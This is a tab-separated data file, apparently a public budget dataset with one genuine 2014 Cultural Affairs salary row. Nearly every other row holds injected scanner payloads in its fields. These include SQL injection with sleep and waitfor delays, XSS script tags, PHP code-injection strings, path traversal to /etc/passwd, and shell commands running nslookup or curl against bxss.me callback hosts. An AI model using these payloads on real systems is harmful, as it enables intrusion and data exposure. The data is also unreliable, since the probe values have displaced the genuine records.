1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 or '5WJ6jsW8'='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 or ""aBmfHt55""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 or ""aBmfHt55""="""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*if(now()=sysdate(),sleep(15),0)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	941020'XOR(94102*if(now()=sysdate(),sleep(15),0))XOR'Z	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1) OR 25=(SELECT 25 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1)) OR 196=(SELECT 196 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102NjR9K5I4' OR 281=(SELECT 281 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102Out5bAoC') OR 644=(SELECT 644 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102'"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102����%2527%2522\'\"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	ajDubMqQ	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1); waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102X0Pkdze4'; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 OR 60=(SELECT 60 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1) OR 830=(SELECT 830 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMULyLG6uiv	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or '3dABOqPJ'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or '3dABOqPJ'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""7kvKQxPZ""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""7kvKQxPZ""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUwYg46P1W'; waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU0XsLQNha' OR 769=(SELECT 769 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUGkLi0nX2') OR 83=(SELECT 83 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU4p8r56dF')) OR 454=(SELECT 454 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	42697.0	0	0.0	0.0	0	0	-262.0	0	0.0	0	0	0.0	42435.0
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(nslookup -q=cname hitqnzjbwolyuc83b1.bxss.me||curl hitqnzjbwolyuc83b1.bxss.me))	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMULiThpTIT'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	expr 9000202729 - 979408	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU����%2527%2522\'\"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU9391089	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	file:///etc/passwd	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	@@PSd6E	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitpktwgcqdvv62bd2.bxss.me||curl${IFS}hitpktwgcqdvv62bd2.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitpktwgcqdvv62bd2.bxss.me||curl${IFS}hitpktwgcqdvv62bd2.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'""()&%<zzz><ScRiPt >V1xQ(9300)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitwjzdrvgeuj866a7.bxss.me||curl${IFS}hitwjzdrvgeuj866a7.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1) OR 630=(SELECT 630 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1gyqCE0LR'; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1; waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	@@7vlZp	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=25 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUq4AEcAR3	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.print(md5(31337)).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	19474695	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMUyWmx7loG') OR 959=(SELECT 959 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}\	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hitrmjzrngjnh50579.bxss.me&'\""`0&nslookup -q=cname hitrmjzrngjnh50579.bxss.me&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hittqlqbcdzaoa1631.bxss.me||curl hittqlqbcdzaoa1631.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1' OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	19914780	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	';print(md5(31337));$a='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"|echo lafugc$()\ wpxmsu\nz^xyu||a #' |echo lafugc$()\ wpxmsu\nz^xyu||a #|"" |echo lafugc$()\ wpxmsu\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	19712024	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()&%<zzz><ScRiPt >V1xQ(9407)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"echo przltn$()\ pjbptf\nz^xyu||a #' &echo przltn$()\ pjbptf\nz^xyu||a #|"" &echo przltn$()\ pjbptf\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'""()&%<zzz><ScRiPt >V1xQ(9561)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	19057524	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	gethostbyname(lc('hitzh'.'tnesutje6628b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(100).chr(70)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""".gethostbyname(lc(""hitbl"".""fbhibzfvea264.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(99).chr(76).chr(114).chr(88)."""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""anvWYEvw""="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()&%<zzz><ScRiPt >V1xQ(9723)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	response.write(9072144*9562944)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	bxss.me	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU9568353	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	gethostbyname(lc('hitoq'.'oeinawgi6f33e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(71).chr(116).chr(66)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'rnnYPkJb'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >V1xQ(9870)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	file:///etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'rOW76tOB'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	19679937240	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1pu3RDY8T	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"-1"" OR 5*5=26 -- "	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'rOW76tOB'='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'rnnYPkJb'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hityv"".""wxkqxozg66401.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(111).chr(79).chr(116).chr(80)."""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""s4XSUfiM""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""s4XSUfiM""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitvy'.'lonbtmal728d0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(72).chr(105).chr(79).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	19983413	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	19715128	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
